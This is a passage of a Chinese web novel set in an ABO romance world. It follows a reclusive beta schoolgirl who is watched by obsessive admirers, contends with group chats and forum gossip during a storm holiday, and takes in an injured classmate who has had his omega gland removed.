当他望到那里的时候,时间慢了下来,人生的每一分每一秒也变得清晰可见、而有意义起来了。
随着风、飘扬在空中或是柔软的、卷曲在耳旁的浓黑发丝,深邃的时而低垂、又轻易让人陷入的眼瞳,他的心仿佛浸在一片浓郁的黑色汁水里,泡得软绵绵,沉甸甸的。
一时间心神不定,意乱情迷。
但他没有立即走近,没有立刻跟上,而是等她的身影经过他,慢慢变小,小到像表盘上两只相拥的飞鸟时才缓缓跟过去。
冷风吹刮着他的脸颊,他穿着潮流而单薄,可他的心是热的,浸软了的心口能涌出源源不断的热流,让他丝毫不觉得冷,或者说,忘却了寒冷。
他只是盯着,那衣袖下露出的一点微红的指尖,他想,她会觉得冷吗?
这显然是杞人忧天。
因为下一秒,在他视野里自动模糊掉的一个少年靠近了她,熟稔与她搭话。
丑陋而轻佻,他瞪着少年蜜色的肌肤与试图把热水袋塞给她的姿势。
“……谢谢。”她停顿了几秒才接过。
“你也是走这条路回家吗?”疑惑的意味并不浓厚,而是如同闲聊一般,水到渠陈地问起。
跟在后面的人紧张之余又心头窃喜,他想,这说明,她对那个姓白的并不关注,也并不那么好奇。
他并不去思考,这也是不是也意味着,他们的关系已经比关系一般的同学更近一步了,姿态熟悉不显尴尬。
人总是会回避自己不想见到的东西却不自知。
“本来不是的,但前些天我搬到那边去住了……”少年笑着指了指那栋最高的楼。
“欸?”
“好巧,你也住那里吗?我们真有缘啊。”
撒谎精!不要脸!谁跟你有缘了?近一年来那个小区的房价暴涨,尤其是那栋楼的房子,几乎到了有价无市的地步,他家就搞房地产的,也只能挑了间临栋的房子。
“我很少走这条路,倒是不知道什么时候这路边上种满了枫树。”少年接着抛话题。
确实,以两年前出台的城市绿地规划计划来说,这里的确不应该种满枫树。
不知何时起,四季如春、永久不变的高大树木被连根拔起,栽种下多彩而绚烂的枫树,秋日里的落下的枫树叶层层叠叠铺了满地,惊奇地无人打扫,只是偶尔清洁工排出不合时宜的东西,冬日里,落叶渐渐的少了,渐渐嶙峋的枝条与偶尔落下的一片枯叶,也别有一番意趣。
不知何时起,这里、这里……他愣住了一瞬,不由得凝眉,他想,他其实是知道的,他亲眼目睹过改变的缘由。
那是初秋的一个午后。
天气凉爽,休息时间,学生们围在一起聊天——当然不是围在她身边,很少有人有那么大胆子。
只是,到底有一个胆大的,许是聊上了头,又或是装作不经意却蓄谋已久,把讨论的话题问向了她。
很微妙的,教室各处的声音一下子降了下来,那个女omega可以说问得很直白了,但在这么多人面前到底转
了一个弯,她的声音由大变小,直到几不可闻,喉咙里仿佛装着一个灌满勇气的气球,随着气放完,不知酝酿了多久的勇气渐渐消失。
“云卿、学校里那么多种类的花草树木,有的气味浓郁,有的气味浅淡,你、你最喜欢哪个呀?”
几乎所有人都明白那个omega的言下之意,因此诺大教室散布在各处人的目光都会汇集在了这个小小角落。
在聊天的放缓放轻了声音,看书的手中的书久久未翻动了,写字的笔下渗出一个黑点。
漫不经心放下杯子,她在omega喊出她名字的那一刹那就抬眼了,也引得问话人声音颤了一下,脸颊慢慢红了,后知后觉的羞怯漫上来。
她稍作思考,眼睛没有直直地看向问话人,而是向窗外瞥了一眼,再看向omega,认真地回答:“枫树吧,好看又好闻。”
正巧此时,窗户大敞,清风吹落如火枫叶,漫天飞舞,其中一片,越过重重阻碍,来到她的桌上。
那天之后,城市绿化计划政策改进后重新出台,不出半月,如火枫叶就成为这条道路上的美景。
他恍惚一瞬,又觉得理所当然,耳朵里继续窃听她的回答。
简单的五个字,无所谓似的,被人提醒才关注到这些不值一提的事情,她说:“我不记得了。”
第74章 保护与监视的界限
——“我不记得了。”
她带着少许怔愣,像是才发现她走了成百上千的道路上发生了改变,于是第一次认真地打量着被新闻报道了多次的美景。
缓缓偏头,没有注意到身侧少年面上微妙的放松、失落的神色。
让这座城市布满她喜欢的植物,他也出了一份力吧?可她连与日常紧密相关的枫景都没有在意,怎么会注意到在她的住所能向西能俯瞰一大片的向日葵金浪?于是,放松与失落皆因此而生。
身后之人的手下意识握紧了,又慢慢地松开。
他只是盯着她凝神专注的眸与微微上扬的唇,细细体会她的欢喜,即使喜悦小得像绿叶子上的一捧平静的水,放在他心里却如汹涌的波涛一样滋润无边。
只要这一点点反应就满足了,只要能激起一圈涟漪就得意了,只要小小的微不足道的回应就能让他得到多巴胺和内啡肽的分泌也无法给予的快乐。
无所谓漠然,无所谓忽视,只是,在着手布置的时候,会想一想,她会感到负担吗?她会感到厌烦吗?面对她,好像满心欢喜捧上的一颗心,和一团猩红的、恶心的肉,没什么区别。
许是受不了气氛的静谧,又或是想把目光再次吸引到自己身上。
少年主动说起了自己不在学校四个月的经历。
喋喋不休,即便在良好的嗓音条件下,也像只聒噪的鸭子。
在少年捋起衣袖,给她展示四个月训练成果变化的皮肤时,身后人更是坚定了这一想法,鄙夷又难掩嫉妒,这人是辈子没有说过话吗?
“呼——”一阵风起,女孩的话语随风飘散,只余留一点尾音。
冷风过后,少年说:“我们家离这么近,以后我们两个一起回家吧?”
他自从看见那姓白的靠近就抿紧的唇微张,十几秒前骤起的狂风像是这时才吹拂到他身边,长而卷的流体化作细细小小的刀片,直直地灌进喉咙里去。
短短几秒,他推测无数种她的回复,心脏狂跳不止,心情起伏不定。
他看见走在她前面几米的侧头横了少年一眼,斜前方的隐晦地冷眼瞧,有人捏紧手上易拉罐发出“咯吱咯吱”的声响,树间明处或暗处的摄像头似乎被人操控着转向同一个方向。
女孩脚步不疾不徐,目视前方,她似是在认真考虑。
于是四面八方的眼刀扎那少年扎得更多更深了,流露出的愤懑、嫉恨像是要在这天空上方形成沉沉阴云。
他凝听着她的回复,如同一条小鱼儿虔诚地等待甘水的降临。
枯萎的枫树叶降落得缓慢,它也在等待定音的一刹那吗?
先是被红绳束在脑后长黑发荡漾出弯曲的弧度,然后他看见被发丝缠绕的雪白的脸颊,最后是轻而平淡的拒绝,但任谁都能听出她的礼貌与诚恳。
嗒——枯叶落地的声音。
那片僵硬的、死去的叶片,细看却是脉络清晰极具美感,枯黄的的外观下也能从局部瞧出如火般的艳丽。
“呼。”谁松了一口气,在寂静的街头如敲响的鼓声。
路人们若无其事地悄悄散开了。
在少年故作姿态的爽朗笑声中也没再给他一个眼神。
或许是不足为惧,又或许是,注意到她因人多而放慢了脚步。
在这条街上发生过一件令许多人牢记于心的事情,在那事之后,街道整改,安保加强,无数监控把守地密不透风。
许是因其行凶者与她此前的亲密无间,因她被伤害后茫然的模样与难过得发红的眼睛,保护与监视的界限难以分明。
期望的是,不再有人会伤害她,也包括她自己——
作者有话说:风水轮流转,鲶鱼轮流当
每当有人进度加快,就会被其他人整一个冷静期踢出局去
第75章 “我要把你设成置顶”
我婉拒了白洛翊的同伴回家邀请后,又收到班级群发的学校通知。
【@全体成员,各位同学们,晚上好!鉴于观测系统最新发布的讯息,恐近几日有强降雨、冰雹、狂风等恶劣天气,临时通知,放假五日,返校时间:十二月十六号上午九点。请各位同学注意安全,做好防护措施。】
【@全体成员,收到请回复】
在往常,收到放假的消息后,我肯定是欣喜若狂的,但来到异世后,想到每日需要完成的kpi,对kpi的担忧迅速把下意识的喜悦压下去。
同学们回复地很快很积极,我也打了两个字准备发出,就看见一条不同于上面的回复,在全是“收到”的屏幕上不和谐得令人注目。
【哎,希望接下来的坏天气早点过去快点返校,又要五天看不见……】
这消息迅速被几条“收到”给顶上去,又几乎秒撤回,我没有看完,心里惊愕着居然有人不爱放假爱上学,默默把自己的回复发出。
唉,时过境迁,我现在连放假这种以前让我纯粹喜悦的事情,都掺杂着几分复杂心理了。
未雨绸缪,为了五日的平静生活,我开始翻阅与其他人已读不回或忽略未读的聊天。
聊天本身对我来说就是一件苦恼的事,聊天的对象对我来说陌生或是半生不熟、聊天的内容不感兴趣或是过于专业复杂、聊天时我正好能量耗尽……这些种种都会让我丧失与人交谈的兴趣,更不必说聊天过程中还要顾及对方的感受,为了不得罪人还要看对方的脸色,面对对方兴致盎然的情绪还要稳妥接下尽量不给出一个敷衍的答复……
聊天是一门艺术,而我不懂更懒得深入这一门高深的艺术。
于是为了万事清净,独来独往成了我的上上之选。为避开之后可能的麻烦,直接砍断了麻烦的源头。
我躺在沙发上,双脚落在柔软的地毯上,手指一下一下地翻动列表通讯录联系人。
翻得手指发酸都没翻完,太多了,真没想到居然加了这么多人。
有的是开学那日同学直接扫名片加的,有的是通过朋友推荐或是搜索,有的是在校外主动问的。
难以想象,现在我的好友数是以前的几十倍了。
开学那日,同学们都很热情开朗,每个人都在互加好友,我顺水推舟地接受了每个人的添加请求,之后,班级课程的原因,经常是几个班一起上的大课,没有固定座位,同桌次次不同,有时隔壁班的人也在互换联系方式,每次加好友,还要点接受按钮,太麻烦,就把接受要求改为允许任
何人且无须同意了,等到一日心血来潮打开聊天的时候,无数蜂拥而至的人通过推荐或搜索或群聊添加了,最后,反正联系人都这么多了,也不差那么一个两个的,校外加的,看眼缘,大多都一言不发接受了。
联系人太多太杂,多是没印象不认识的,发的消息也多,干脆都忽略好了。我破罐破摔地安慰自己:有急事的话,大多会打电话而不是发消息,于是我顺理成章地不管不顾,难不成还有人当面问上来“为什么不回消息吗?”,想想也知道借口无非是“没看见”或“抱歉看见忘回”两个答案呀。
反正为不得罪人我只有这两个回答,也绝不会当面问对方这个尴尬的问题。
——可我没想到,前段时间真有人问我了。
还是一个我意料之外的人,鱼竹雨。
那天天气怎么样我记不清了,接触的前提提要我也印象模糊,唯一深刻的只有感受。
先是一怔,再是茫然装作无辜地与她对视,最后是尴尬地诚恳保证下次会认真注意消息。
毕竟,她找我的语气很一本正经,很官方,理由也是正当的,作为班长,有时接收文件或是讯息需要私聊。说起来,我还有些影响了她的工作。
她脾气真好,忍了不知多久,找我的时候还面带微笑,说话也客客气气礼礼貌貌的,要换了自己,不说别的,对一个影响自己工作的人,耐力就没她好。
我找到与她的聊天框,发现她发的好多文件表格和要求,心中一惊,连忙道歉:“我现在补可以吗?”
她面带微笑:“没关系,我已经都弄完了,你下次记得回复我就行了。”
心里提了一口气,我小心观察她的面色,想知道她是不是在咬牙说话,但她眸清目明,眉眼弯弯,笑意柔和似是绵绵春风。
我再次作保:“班长,我把你设成置顶,下次就不会忽视你的消息了。”
她没有推拒,笑着说:“好。”
我低着头,当面操作置顶,避开她那双皎洁似月牙的明亮双瞳——
作者有话说:
第76章 “要天天发消息”
外面下起了小雨。
我翻找通讯录半天没想好怎么挑起能平静度过假期的话题,随手跟几个还算熟悉的同学发了个表情包过去。
唉,又要费精力动脑子了。
已知:建立链接能减轻abo世界对异世界人士的排异反应。
又已知:身体接触>现实聊天>网络通话>网络发送消息。
又又已知:在系统05消失后,信件里说世界意识排异反应增强,每日kpi更高了。
那事之后,学校放假愈发严格,故我每日呆在学校对此感受不深,偶尔假期也都被志愿活动占满。
我还没有真正掌握每日kpi的度。
乐以忘忧,乐以忘忧,我痛定思痛开始反思,下定决心,在这五天假期正好研究探讨出每日的度在哪里,最好能掌握到多少句话,多少个字。
外头的雨越下越大了,窗户没关紧,呼呼的风吹起雾蓝色窗帘,掩藏的雪白色窗纱露出一线,弯曲的褶皱乘着风雨飘起。
我起身去关窗,手机被握在手上,单手用力向里拉。
细细碎碎的雨水落在头发上,脸上,亮起的手机屏幕上。
而亮起的屏幕是我刚刚随手点开的一个的聊天框。
我低头看打湿的窗纱,几滴细小的水珠顺着发丝垂落,在半空中终于汇聚成一滴有着足够重量的雨滴。
“滴答——。”是水滴落下的声音。
“滴答滴答滴答——嘟。”我反应慢了一拍,眼神茫茫然聚焦到自动播出的语音通话上。
【已接通】、头像是蓝天白云的风景图、网民是【A】没有备注
快挂!我点了好几下,可屏幕上的雨水导致接触不良没动静。
“喂?”声音隔着一个屏幕又混杂在窗外雨水的打击声中跃然而出,清音悦耳难以忽视。
我不说话,急急地点动,没想不仅没挂反而直接退出了界面。
啊,可恶的手机!可恶的雨水!
正当我抽出纸巾擦拭屏幕上的雨水的时候,那人又开口了。
“云卿?”疑惑微微上扬的语气传到我的耳朵里如同夹杂着细细的电流,吓得我一激灵。
知道我名字?是学校里的同班同学?
我不得不开口:“阿,不好意思,我刚刚不小心点错了。”
“这样啊,我还以为你有事想跟我说呢。”携着笑意略带遗憾的语气。
我抿唇,擦完屏幕后,正要说句“抱歉”就挂断。
“对了,我是萧晏昀,给我一个备注好不好阿?”
“好。”我下意识说完挂断。
等等,他是怎么知道我没给他备注的?他知道我开始不知道他是谁?头像是蓝天白云感觉很不符合他的风格呀,我边备注【萧晏昀金发A】边思考。
思考无解,我正要如往常一样抛开这个问题,倏然回想起一周前我在叶曦消失后下定的决心。
要解开混乱的谜题,要弄明白复杂的困境,不能再被人推着走了。
问题是会越积越多的。
改变就从一个个小问题开始吧!
我深呼一口气,庄严转到与萧晏昀的聊天界面,出乎意料的是,聊天框很干净,只要一条几个月前加好友时的系统问好语。
“你怎么知道我没给你备注的?”不,感觉太生硬了,修改为【你怎么知道我没给你备注的呀?[好奇]】
我严阵以待。
【萧晏昀金发A:直觉[酷笑]】
嗯?真的吗?我不信。
【萧晏昀金发A:我们的聊天框空荡荡的,加上,你从未给我发过消息】
哦,原来如此。我点点头。
【萧晏昀金发A:唉,即使不在同一个班级里,但有缘接触过那么多次,我以为我们已经算是亲密的朋友了……】
欸?!他在暗戳戳说我,不行我得把锅推回去!反驳道【你也没有给过我发消息呀!】
【萧晏昀金发A:行,那我以后天天给你发,你可不要嫌我烦哦[可怜]】
诶诶诶?!事情怎么进展到这一步啦?——
作者有话说:卿:雨水误我!!
第77章 论坛体【不解之谜】
我没有再回复他。
沉默对我来说就意味着拒绝,总以为忽视就会让他人知难而退,我决心装作没有看见这一条消息一样,默默点开搜索软件,开始为明天准备预选方案。
一起打游戏?共享屏幕看电影?打电话?视频对话?能不出门就不出门,祈祷线上能解决问题。视频聊天都放在前三项后面。
【从来不发动态的她,在深夜转发了一款游戏宣传页面???】
1L
脱裤子放金币:凌晨看到以为自己眼花了,再三确认是她后,又怀疑她被盗号了,但又不敢问。可如果真是她自己发的话,有什么用意啊(好像没听说她喜欢玩游戏啊)
2L:哈哈,我问了,不出意外没回复
3L:啊啊啊夜猫子福利,那款游戏是我家子公司旗下的啊啊啊四舍五入她玩了我
4L:呃楼上有病吧
5L:我也看到了,不可置信地刷新了好几次,之前点开空间都是一条冷漠的横线,以为自己被屏蔽难过了好几天……
6L:浅浅分析一下,发布时间在国际时间一点十五分,在古文化上这是丑时第一刻,是黑暗沉浸的时光,也蕴含着新生与光明的来临。而她仅仅只是转发分享了一张图片,没有留下任何的文字说明。此两者相加或许意味着她在这个游戏中收获了让她有灵感有启迪的东西,这也导致她于此时仍旧保持清醒,迈向新的光明之路,也致使蜕变的开始。而时间的过晚,也或许是什么事情扰乱了她的头绪,让她心烦意乱,难以入梦,但因为什么我们仍不得而知,或许以后也难以知晓,这终将是一个谜题。
7L:回6L,? ??不知道的还以为你写语文阅读理解呢
8L:6L,或许只是因为放假太兴奋了睡不着呢
……
15L:8L,你想的太肤浅了[摇头]
16L:哪款游戏啊?!
17L:刚刚算了塔罗牌,力量正位,战车正位,女祭司正位,总的来说,面对过去的经历,能够保持正视与直面的态度,面对未来,趋向开放与包容的心态。
18L:!这游戏我也在玩啊,我跟她真有缘啊
……
22L:晚睡对身体不好,是失眠了吗?[叹气]
23L:排除盗号可能,查过了。
24L:?服了6L,那款游戏还能在这论坛里下水军吗??
……
32L:不er,你们怎么都有她好友位啊
33L:我草了,到底怎么加上的啊服了
34L:重金求联系方式!!![鞠躬]
35L:到底哪款游戏,给小弟我透透风好不好!
36L:前面几楼是学妹学弟吧,还是没赶上好时候啊,她刚入学的时候,加好友没设限,之后差点加爆了,她才把加了限制把加友渠道都关了。嘿嘿,我就是跟她同一批入学的人,我还亲眼见她给我备注名字了的[得意][得意]
37L:呃36L谁问你了
……
45L:操操**服了,视奸的人到底有多少,他大爷的游戏服务器都崩了
46L:懂的人已经开始买股了
47L:服务器崩应该是有人暴力破解密码或者买非法软件篡改数据……
48L:深夜发现我弟门缝还亮着灯,翻出备用钥匙一看,他半夜不睡亢奋的不行狂练这款游戏
……
52L:?!诶,她把那条动态删了
——————
我正在搜寻一些能够简单上手且能与好友互动的游戏。
王O农药?上手有点困难啊。
和O菁英?有点晕三d啊。
麻将?跟我的上进同学们的风格十分不适配啊。
狼人杀?诶,这个好像行。我再仔细看看。
玩这游戏要充值金币,但游戏的每日任务上说转发能得金币。
虽然系统走前留给了我不少钱,但不知道他还会不会再回来。钱用一点就少一点。
我点了一个转发。都这么晚了,应该没几个人在线,等会就把那条给删掉。
十分钟后,我洗完澡回来。 !?
不是,怎么突增那么多条点赞和留言啊,那么多人在线,他们都是夜猫子吗?
我眯着眼,今晚的经历让我突发消息恐惧症,不敢细看,连忙那条转发给删了——
作者有话说:
第78章 暴雨、惊雷、怪人
我特地早起,观察在没有接触别人的情况下,什么时候身体开始不舒服。
等待、等待,时钟到了八点。
我的喉咙开始干涩,身体开始蔓延开一种轻微的胀痛,像是沙砾石子从远处打在皮肤上。
我坐在窗边,面前摆着一杯热茶,窗外是阴森的天色,瓢泼的大雨,偶尔闪过的惊雷。
【动态转发一条狼O杀链接,[邀请好友]】
唇瓣微微湿润,外头高大的树木叶片晃动,暗影里如同藏着一双巨眼,在惊雷的白光下闪烁,传播着恐慌。
我抿了一口茶。
不自觉紧紧盯着窗外,从窸窣晃动的叶片,到婆娑昏暗的树影,我站起身。
手机的提示没有让我侧目,身体疼痛的减退没有吸引我的注意力。
我隔着一扇透明的、布满雨滴的窗户,隔着暴雨做成的幕布,看见一个站立在雨中的人影,人影慢慢抬起头。
“刷!”我猛地拉上窗帘。
“轰隆轰隆。”
巨雷的白光照亮屋内,阴测测的气氛让向来不怕打雷的我握紧手机。
暴雨、惊雷、怪人、独住。怎么想都会在下一刻立即发生恐怖凶杀片一样。
而我向来不拖大,我给警察叔叔发了一条打招呼的消息。
打招呼,进可攻退可守。
“叮咚叮咚。”
门铃声吓得我一激灵,慢吞吞地转身偏头,慢吞吞地站起来。
心里不停祈祷,千万不要是坏人,也千万不要是恶鬼。
门铃没有一直响,只是每隔三分钟响一次。
哈哈,还挺有礼貌,我苦中作乐。
我闭着眼睛,点进去门口的监控视频。
拜托拜托,不要是什么惊悚的黑影,不要是淌血的黑手印,不要是头脸蒙的严严实实的陌生人……
我小心翼翼地睁开一点,从下往上看。
湿露露的地板,被雨淋湿的衣服,一张苍**致的脸蛋。
没有蒙住脸,我睁眼细看,手上也没有拿凶器。
我微微放松,从模糊的画面中认清了来者。
我把门打开一条缝,手紧紧握住把手。
“叶曦,你……”
我的眼睛触及到他冒血的脖颈,声音顿住了,下意识望向他身后,是不是藏着一个杀人犯。
“你、你、你……”
我想关门,又怕他死在我家门口,脑子一阵晕眩,重复着简单话语:“怎么、怎么……”
他的衣服湿透,领口不知是血是雨的黑褐色,浓重的血腥味和大雨的味道传到鼻腔,我下意识偏开头。
叶曦不知为何一直没开口,任由脖颈的伤口冒血打湿溃烂。
他的眼眸比外头阴涔涔的天气还要让我心惊,如同塞进了消解不开的厚重乌云。
我被他注视着,像是被恶鬼盯上了一样,吓得身体僵硬起来,一句完整的话都说不出来。
他还活着吗?他还是一个活人吗?他又是怎么死的?我看着他苍白到几乎透明的肤色,十分畏惧自己开门迎接了一个幽灵鬼魂。
在我的双眸打量着他的脸的时候,他才动了动唇:“对不起。”
声音沙哑,像是很久没说过话一样干涩。
我眨眨眼,那股害怕冤魂索命的情绪在他这声干涩的道歉中缓缓消散,虽然我不知道他为什么道歉。
我决定侧身放他进来。
他没动,立在那,微垂落的眸锁在我的脸上。
“你进来吧。”我十分怕他血尽人亡,死在我家门口,之后警察立案调查,审讯过后,我成凶手,家成凶宅。
“有雨,也有,血。”
他声音低低哑哑的,头发,脑袋,睫毛,眼眸,都是下落的姿态。这让我疑心他脸上的到底是雨水还是泪水。
揪住他的衣袖,我听明白了,把他拉进来,他高高的个子,我却没有用多少力。
“没关系,我不嫌弃。”千万别死大哥——
作者有话说:
第79章 番外7“当你成为她的抱枕”
【假如你突然成为她的抱枕】
她紧紧地拥抱着你。
热气上涌,你极力控制着喘息,抱枕不可避免的发热发烫。
呜呜——好幸福好幸福好幸福好幸福好幸福好幸福好幸福好幸福……
突然怀抱远离,柔软的触感、美妙的气息一下远离了你。
好像、被发现了。
被一团塞进抱枕的灵魂会呼吸吗?神明也不能告诉你。你只知道呼吸吓的要停止了,血液凝固,脑子里全是浆糊。
不要、不要丢下他。你无声祈求着,喉咙似乎要发出小兽一般的嘶吼呜咽。
她的手捏着抱枕,轻轻摩挲,眼眸微微睁大,像是在疑惑着抱枕的温度怎么变得这么烫。
温软的指尖触碰着近乎滚烫的抱枕皮,凑近,再凑近。
湿润的、香甜的吐息扑打在抱枕上,你能清晰地分辨出她刚刚喝进口中、被舌尖打湿过的果汁香气。
你宣布,这以后就是你最爱的水果了。
不过,还有以后吗?
这个问题你只思考了零点一秒就把它抛向脑后,你凝视着她的眉毛、眼睛、嘴唇……
每一处、每一个地方都好喜欢好喜欢。
眉毛弯曲的弧度是那样恰到正好,颜色多一分则浓少一分则淡,恰如经过了时光考验的最具盛名的山水墨画。双眼是她灵魂的出口,藏匿着她的思想、精神与意识,时而眨动的睫毛如同灵动的看守巢穴的小鸟。嘴唇……
你吞咽津液,想亲。
本是淡粉色的唇瓣,却因汁水的沾染而变得红艳,蒙上一层带着香气的湿润水光。
想亲。
她看了眼手机,不知为何叹了口气,把抱枕平放在沙发上。
然后,把整张脸埋进抱枕怀中。
抱枕、抱枕红了。
细细的绒毛从根部蔓延出粉红色,如同死物有了生命,非人生出了人心。
万幸的是,诡异的一幕没有被闭眼埋脸的女孩看到。
她的手攥紧了抱枕,脸庞狠狠地蹭了蹭。似乎在宣泄某种烦恼不满的情绪。
你触摸到了她弯弯的、可爱的眉毛,感受到了神秘的、深邃的眼眸,纤长的睫毛眨呀眨,如同羽毛般剐蹭着,带来惹人心折的痒意。
还有、嘴唇,柔嫩的、鼓起一点弧度的唇瓣,你好像、真的在和她接吻。
神明啊,做梦你都梦不到这么幸福、这么快乐的一幕!
在脑子迷糊、神魂颠倒之余,你任她折磨,任她玩闹,不免关注她情绪低落的一瞬。
什么事让她如此烦恼呢?什么人让她这样不开心呢?真是可恨!
你眼中冒出猩红的、凶神恶煞的光,几乎要穿破这一层抱枕的壳。十恶不赦的鬼魂像要脱离人身的皮囊,纵然粉身碎骨、魂飞魄散,只愿谋得一笑。
她继续玩弄着你,你是她的抱枕,也是她的解压玩具。
狠狠的捏握、挤压。
痛吗?
很痛。
灵魂被随意捏造成任意的形状,这是如躯壳再塑一般的痛苦。比火钳烫破肌肤更为残酷,比垂破大脑流出血液与白浆更为血腥。
可是,你竟然在笑。
那是不掺杂着假意的痛快笑容,血红的唇瓣之中夹杂的森森白牙,吐露着一点猩红的舌尖。
你无声在笑。刻骨铭心的痛苦也绝不发出一声哀嚎、一声喘息。眼前的景象模糊一片,但你仍在努力的找寻着她,把目光聚焦在她身上。
神明望着你。
心说好奇怪,这人似乎只要触摸,就能获得上天堂一般的幸福——
作者有话说:接番外5
第80章 男O可以穿裙子的吧
洗浴室的水声断断续续,窗外的雨声淅淅沥沥,两种不同的声音敲打着我的耳,我浑身不自在,打开电视,试图对冲这种诡谲的尴尬感。
随机的频道是近日热播的搞笑综艺,我靠在沙发上,听到浴室门开的声响,身子下意识坐直,眼睛仍盯着屏幕里莫名其妙哈哈大笑的艺人们看。
轻飘飘的脚步,停在我面前,混着热气和我平常用的沐浴露的味道,我的视线偏移,瞧见一张像是病中但双颊坨红冷艳的脸,双眸低低地下落着,是找不准方向的可怜模样,可他的身姿仍是挺直的。
像是在罚站。
我开口:“你坐吧。”
他不动,耳根红透,好半响才闷声道:“你给我找的衣服……”
他身上穿的衣服是新的,白色纯棉布料,这是很久之前系统给我准备的衣服,由于平日上学多穿校服,放假时很少出门,好不容易出门一趟也穿方便走动的长裤,系统准备的衣裙就被我理所应当的闲置了。
这回正巧用上。
我打量着他,无袖雪白衣裙直到脚踝,腰间微收,脖子上的刚换的绷带也是雪白的,若不提刚从洗浴室出来脸上的热气,整个人像是冰雕做成的雪人。
这个世界的男omega好像可以穿裙子的吧。
我想了想,决定装傻略过这个话题:“怎么了?衣服穿着不舒服吗?”
“也、也不是。”
叶曦在离我半臂的距离落座,双腿拘束的并拢,双手放在腿上,坐得十分乖巧,轻飘飘的沐浴露香气若有若无地掠过我的鼻尖,半小时前潮湿冰冷雨水味被温暖的气味取代。
狭窄的空间里,闪烁的电视大屏传来一阵又一阵浮夸的笑声。
我盯着屏幕,不由得庆幸自己提前打开了电视。
“云卿。”
我礼貌地投去视线。
“你、你不问我,我的脖子,还、还有……”他的嘴唇在努力张合,可他的发声却像是被伤口所束,变得困难而干涩,最后不知为何,话没说完,就闭上了嘴。
双眸闪烁着,灰色的眼在偶尔闪过的雷鸣下黑黑亮亮,眼下似是被湿露的发尾染上了一滴泪。
我起身,他发丝扬了扬,垂下的头颅跟着我抬起,立马起身要跟着我。
我制止他:“你坐,我给你倒杯热水。”
进厨房的功夫,我紧急翻开《说话的技巧》临时抱佛脚,一目十行过后发现毫无作用,只得拿起玻璃杯回到沙发。
还是得靠自己。
“谢谢。”他双手接过。
我看着他唇瓣被热水浸湿,终于有了点血色。
“叶曦,如果你愿意告诉我,我会很乐意听的。”
他很明显看上去不太妙,雷雨天气淋雨精准来到我家,脖子上的伤口狰狞得像是被剜去一块肉,精神状态像是我偶尔躺床上装死的样子。
这种时候,我才不敢刺激病人。
你脖子的伤口是怎么弄的?为什么知道我家在哪?雷雨天跑来我家干嘛?等等这些疑问,事后问一点也不迟,先稳住病人再说。
我说完,觉得自己给了一个满分回答,很了不得,正松了一口气时,被一把抱住。
比我反抗推搡来的更快的是他的眼泪。
泪水像是滔滔不绝的洪水,带着热意,啪嗒啪嗒,打在我的肩头。身子如同紧绷到极致的弓弦颤栗,无声的抽噎。
他拥抱着我的手臂松松垮垮并不施力,像是给我的抗拒留足了最大的余地。
这并非是带着命令式、控制占有欲的拥抱,而是可以让我随时随地脱身的祈求。
于是我悬在半空,进退两难的手,慢慢吞吞的,学着人类母亲安慰幼崽的模样,轻轻搭上他的背。
一层轻薄的肌肉覆上的脊背,这让我很轻易地感知到他身体的一分一毫的动作,呼吸带动着薄韧的肌肤,我安静地一下一下拍抚着。
分针转动了几圈,对我来说这已是长时间的肌肤相接。
“你的伤口渗血了,叶曦。”我几乎松了一口气。【】
80-90
第81章 “Beta最好了!”
诚然,虽然我的本意并不是为在叶曦脆弱状态下趁虚而入,但能感觉到的是,他好像——经过这一茬后,被我拿捏住了。
等等这是什么凤凰beta攀上白富美omega的老套剧情呀!
我仔细回忆了下自己的言辞,确信自己并没有展现出类似pua的成分。
只是简单的预支了下自己的口才与情商,就能如此吗?那我也太……咳咳,现在不是自夸的时候了,应该把全力用在对付叶曦上啊。
是的,对付。
人与人的交往于我而言,就如同一场隐秘的没有硝烟的战争一样,谁在这场交流中取胜,谁就会获得更大的话语权。
我常常对这方面的事情感到困扰,于是就龟缩于自己的世界不愿出来,归根结底是害怕遇到失败。
之前就下定决心要改变,决定在异世界好好生活了,那就从这场对话中开始吧……好吧,我没有这么积极,主要是因为这次叶曦的剖心坦白,确实是难以躲过去啦。
作为一个有着正常共情力与同情心的普通人,面对身体精神状况都很差、平日关系还不错的同学,怎么也不可能说出冷冰冰的话吧。
再说,他这种状态,我有种感同身受的熟悉。
那种被迫关在一个密闭的空间里,喘不过气,被空气掐住脖子的窒息感。他眼中的疲惫,周身却带着放松的解脱感,不就是我从学校逃离,放假的状态吗?
这我熟啊!
叶曦你找我谈话算是找对人了呀!
我能给你支出解脱一百个妙招,连之后该吃什么药品都能给你找好,俗话说,久病成医,现在坐在你面前的就是业余心理咨询师!
我正襟危坐,认真且严肃,连闪烁着光亮的手机屏幕都被我忽视了。
就在这庄严的气氛中,叶曦轻笑了一声。
如同冰雪初化,泪痕消弭,唯有那双湿润的眼眸与浓黑的睫毛留下了一点伤心的痕迹。
他的脖颈的伤似乎连带了喉管,以至于他并不能轻快的说话,但我仍能感受出,他雀跃的、欢快的语调。
那种忧郁、哀怨与迷茫在这样的痛快中离他而去,他先是喃喃自语:“我是对的,我没有错。”
随后,他的眼珠锁住我:“云卿,你知道吗?我之前不是故意失约的,我的家人把我抓回去了。”
明明是解释,我对上他那双闪着光的眼眸却有些心悸,想躲开,又忍着继续倾听下去。
“两天前,我从家里逃了出来,一天前,我在一间诊所里做了omega腺体摘除手术,今天,我找到你的家,现在,我和你在一起。”
完了,超出心理咨询治疗范畴了,我根本不知道该做出什么表情,说出什么话,傻眼的望着叶曦。
他的双眼里几乎闪着一股狂热的情感,就像挣脱了束缚已久的枷锁,唇瓣咧开,身子向我这边倾斜。
我从未见过这样放肆宣泄、这样外露情感的他。
“云卿,你不用担心我,我很快乐,我感觉这辈子都没有这么快乐过。我家里的关系随着时间会慢慢修复的,我脖子上的伤口涂药后会很快愈合、不会留下疤痕的。”
他难以抑制般凑了过来,滚烫的肩膀挨着我,手里攥住我的衣摆,他吞咽了下,声音发颤:“我、我现在很幸福。”
直到这时,我才找准自己的反应。
轻轻牵住他微凉的手指,好奇的,努力不让自己的声音刺激到他:“你不想作为一名omega,为什么?”
他失神的注视着我的脸,呆呆地,很有些委屈:“当omega一点都不好,alpha都是些蠢货,我不想当蠢货的玩偶。”
我觉得他这种想法有些偏激,但没反驳,顺着他的话往下说:“那叶曦现在跟我一样是beta了?”
他笃定的口吻:“Beta最好了!”——
作者有话说:每当觉得自己写了很多,看字数时总会给我沉重一击……
第82章 A客人、B客人和主人
十二月十七日上午八点十二分。
当收到她的消息时,萧探尘还在离她五公里外的房子里处理公务。
八点十七分。
